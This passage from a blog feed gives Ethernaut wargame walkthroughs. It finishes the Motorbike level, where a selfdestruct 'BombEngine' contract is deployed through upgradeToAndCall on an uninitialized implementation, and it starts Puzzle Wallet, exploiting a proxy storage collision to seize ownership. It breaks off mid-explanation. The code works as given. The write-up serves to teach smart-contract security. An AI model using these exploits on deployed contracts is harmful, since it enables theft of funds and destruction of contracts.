&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;implAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;implAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: '0x&amp;lt;20-byte-implementation-contract-address&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, if we sent a transaction directly to &lt;code&gt;initialize&lt;/code&gt; of &lt;code&gt;Engine&lt;/code&gt; rather than going through proxy, the code will run in &lt;code&gt;Engine&lt;/code&gt;'s context rather than proxy's. That means the storage variables - &lt;code&gt;initialized&lt;/code&gt;, &lt;code&gt;initializing&lt;/code&gt; (inherited from &lt;code&gt;Initializable&lt;/code&gt;), &lt;code&gt;upgrader&lt;/code&gt; etc. will be read from &lt;code&gt;Engine&lt;/code&gt;'s storage slots. And these variables will most likely will contain their default values - &lt;code&gt;false&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt;, &lt;code&gt;0x0&lt;/code&gt; respectively because &lt;code&gt;Engine&lt;/code&gt; was supposed to be only the logic layer, not storage.&lt;br&gt;
And since &lt;code&gt;initialized&lt;/code&gt; will be equal to &lt;code&gt;false&lt;/code&gt; (default for &lt;code&gt;bool&lt;/code&gt;) in context of &lt;code&gt;Engine&lt;/code&gt; the &lt;code&gt;initializer&lt;/code&gt; modifier on &lt;code&gt;initialize&lt;/code&gt; method will pass!&lt;/p&gt;

&lt;p&gt;Call the &lt;code&gt;initialize&lt;/code&gt; at &lt;code&gt;Engine&lt;/code&gt;'s address i.e. at &lt;code&gt;implAddr&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;initializeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;initialize()&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;implAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;initializeData&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alright, invoking &lt;code&gt;initialize&lt;/code&gt; method must've now set &lt;code&gt;player&lt;/code&gt; as &lt;code&gt;upgrader&lt;/code&gt;. Verify by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;upgraderData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;upgrader()&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;implAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;upgraderSig&lt;/span&gt;&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, &lt;code&gt;player&lt;/code&gt; is now eligible to upgrade the implementation contract now through &lt;code&gt;upgradeToAndCall&lt;/code&gt; method. Let's create the following malicious contract - &lt;code&gt;BombEngine&lt;/code&gt; in Remix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity &amp;lt;0.7.0;

contract BombEngine {
    function explode() public {
        selfdestruct(address(0));
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy &lt;code&gt;BombEngine&lt;/code&gt; (on same network) and copy it's address.&lt;/p&gt;

&lt;p&gt;If we set the new implementation through &lt;code&gt;upgradeToAndCall&lt;/code&gt;, passing &lt;code&gt;BombEngine&lt;/code&gt; address and encoding of it's &lt;code&gt;explode&lt;/code&gt; method as params, the existing &lt;code&gt;Engine&lt;/code&gt; would destroy itself. This is because &lt;code&gt;_upgradeToAndCall&lt;/code&gt; delegates a call to the given new implementation address with provided &lt;code&gt;data&lt;/code&gt; param. And since &lt;code&gt;delegatecall&lt;/code&gt; is context preserving, the &lt;code&gt;selfdestruct&lt;/code&gt; of &lt;code&gt;explode&lt;/code&gt; method would run in context of &lt;code&gt;Engine&lt;/code&gt;. Thus &lt;code&gt;Engine&lt;/code&gt; is destroyed.&lt;/p&gt;

&lt;p&gt;Upgrade &lt;code&gt;Engine&lt;/code&gt; to &lt;code&gt;BombEngine&lt;/code&gt;. First set up function data of &lt;code&gt;upgradeToAndCall&lt;/code&gt; to call at &lt;code&gt;implAddress&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;bombAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;BombEngine-instance-address&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="nx"&gt;explodeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;explode()&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nx"&gt;upgradeSignature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;upgradeToAndCall&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;function&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;newImplementation&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bytes&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;upgradeParams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;bombAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;explodeData&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nx"&gt;upgradeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;upgradeSignature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;upgradeParams&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now call &lt;code&gt;upgradeToAndCall&lt;/code&gt; at &lt;code&gt;implAddr&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;implAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;upgradeData&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom! The &lt;code&gt;Engine&lt;/code&gt; is destroyed! The &lt;code&gt;Motorbike&lt;/code&gt; is now useless. &lt;code&gt;Motorbike&lt;/code&gt; cannot even be repaired now because all the upgrade logic was in the logic contract which is now destroyed.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Learned something awesome? Consider starring the &lt;a href="https://github.com/theNvN/ethernaut-openzeppelin-hacks"&gt;github repo&lt;/a&gt;&lt;/em&gt; 😄&lt;/p&gt;

&lt;p&gt;&lt;em&gt;and following me on twitter &lt;a href="https://twitter.com/heyNvN"&gt;here&lt;/a&gt;&lt;/em&gt; 🙏&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>openzeppelin</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Hacks Level 24: Puzzle Wallet</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Sat, 29 Jan 2022 18:11:32 +0000</pubDate>
      <link>https://dev.to/nvnx/ethernaut-hacks-level-24-puzzle-wallet-56pm</link>
      <guid>https://dev.to/nvnx/ethernaut-hacks-level-24-puzzle-wallet-56pm</guid>
      <description>&lt;p&gt;This is the level 24 of OpenZeppelin &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt; web3/solidity based game.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how"&gt;delegatecall&lt;/a&gt; in Solidity&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.openzeppelin.com/proxy-patterns/"&gt;Proxy Patterns&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hack
&lt;/h2&gt;

&lt;p&gt;Given contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address =&amp;gt; bool) public whitelisted;
    mapping(address =&amp;gt; uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance &amp;lt;= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] &amp;gt;= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i &amp;lt; data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; has to hijack the proxy contract, &lt;code&gt;PuzzleProxy&lt;/code&gt; by becoming &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The vulnerability here arises due to &lt;strong&gt;storage collision&lt;/strong&gt; between the proxy contract (&lt;code&gt;PuzzleProxy&lt;/code&gt;) and logic contract (&lt;code&gt;PuzzleWallet&lt;/code&gt;). And storage collision is a nightmare when using &lt;code&gt;delegatecall&lt;/code&gt;. Let's bring this nightmare to reality.&lt;/p&gt;

&lt;p&gt;Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (&lt;code&gt;PuzzleWallet&lt;/code&gt; here), but it is actually &lt;strong&gt;delegated&lt;/strong&gt; to logic contract inside proxy contract (&lt;code&gt;PuzzleProxy&lt;/code&gt; here) through &lt;code&gt;delegatecall&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;Since, &lt;code&gt;delegatecall&lt;/code&gt; is context preserving, the context is taken from &lt;code&gt;PuzzleProxy&lt;/code&gt;. Meaning, any state read or write in storage would happen in &lt;code&gt;PuzzleProxy&lt;/code&gt; at a corresponding slot, instead of &lt;code&gt;PuzzleWallet&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Compare the storage variables at slots:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;slot | PuzzleWallet  -  PuzzleProxy
----------------------------------
 0   |   owner      &amp;lt;-  pendingAdmin
 1   |   maxBalance &amp;lt;-  admin
 2   |           . 
 3   |           .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Accordingly, any write to &lt;code&gt;pendingAdmin&lt;/code&gt; in &lt;code&gt;PuzzleProxy&lt;/code&gt; would be reflected by &lt;code&gt;owner&lt;/code&gt; in &lt;code&gt;PuzzleWallet&lt;/code&gt; because they are at same storage slot, 0!&lt;/p&gt;

&lt;p&gt;And that means if we set &lt;code&gt;pendingAdmin&lt;/code&gt; to &lt;code&gt;player&lt;/code&gt; in &lt;code&gt;PuzzleProxy&lt;/code&gt; (through &lt;code&gt;proposeNewAdmin&lt;/code&gt; method), &lt;code&gt;player&lt;/code&gt; is automatically &lt;code&gt;owner&lt;/code&gt; in &lt;code&gt;PuzzleWallet&lt;/code&gt;! That's exactly what we'll do. Although &lt;code&gt;contract&lt;/code&gt; instance provided &lt;code&gt;web3js&lt;/code&gt; API, doesn't expose the &lt;code&gt;proposeNewAdmin&lt;/code&gt; method, we can alway encode signature of function call and send transaction to the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;functionSignature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;proposeNewAdmin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;function&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;_newAdmin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;functionSignature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; is now &lt;code&gt;owner&lt;/code&gt;. Verify by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;

&lt;span class="c1"&gt;// Output: true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, since we're &lt;code&gt;owner&lt;/code&gt; let's whitelist us, &lt;code&gt;player&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addToWhitelist&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Okay, so now &lt;code&gt;player&lt;/code&gt; can call &lt;code&gt;onlyWhitelisted&lt;/code&gt; guarded methods.&lt;/p&gt;

&lt;p&gt;Also, note from the storage slot table above that &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;maxBalance&lt;/code&gt; also correspond to same slot (slot 1). We can write to &lt;code&gt;admin&lt;/code&gt; if in some way we can write to &lt;code&gt;maxBalance&lt;/code&gt; the address of &lt;code&gt;player&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Two methods alter &lt;code&gt;maxBalance&lt;/code&gt; - &lt;code&gt;init&lt;/code&gt; and &lt;code&gt;setMaxBalance&lt;/code&gt;. &lt;code&gt;init&lt;/code&gt; shows no hope as it &lt;code&gt;require&lt;/code&gt;s current &lt;code&gt;maxBalance&lt;/code&gt; value to be zero. So, let's focus on &lt;code&gt;setMaxBalance&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;setMaxBalance&lt;/code&gt; can only set new &lt;code&gt;maxBalance&lt;/code&gt; only if the contract's balance is 0. Check balance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 0.001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is &lt;code&gt;execute&lt;/code&gt;, but contract tracks each user's balance through &lt;code&gt;balances&lt;/code&gt; such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance. &lt;/p&gt;

&lt;p&gt;A possible way is to somehow call &lt;code&gt;deposit&lt;/code&gt; with same &lt;code&gt;msg.value&lt;/code&gt; &lt;em&gt;multiple&lt;/em&gt; times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what &lt;code&gt;multicall&lt;/code&gt; method is for. Maybe we can exploit it?&lt;/p&gt;

&lt;p&gt;But wait! &lt;code&gt;multicall&lt;/code&gt; actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that &lt;code&gt;deposit&lt;/code&gt; is called only once per transaction!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
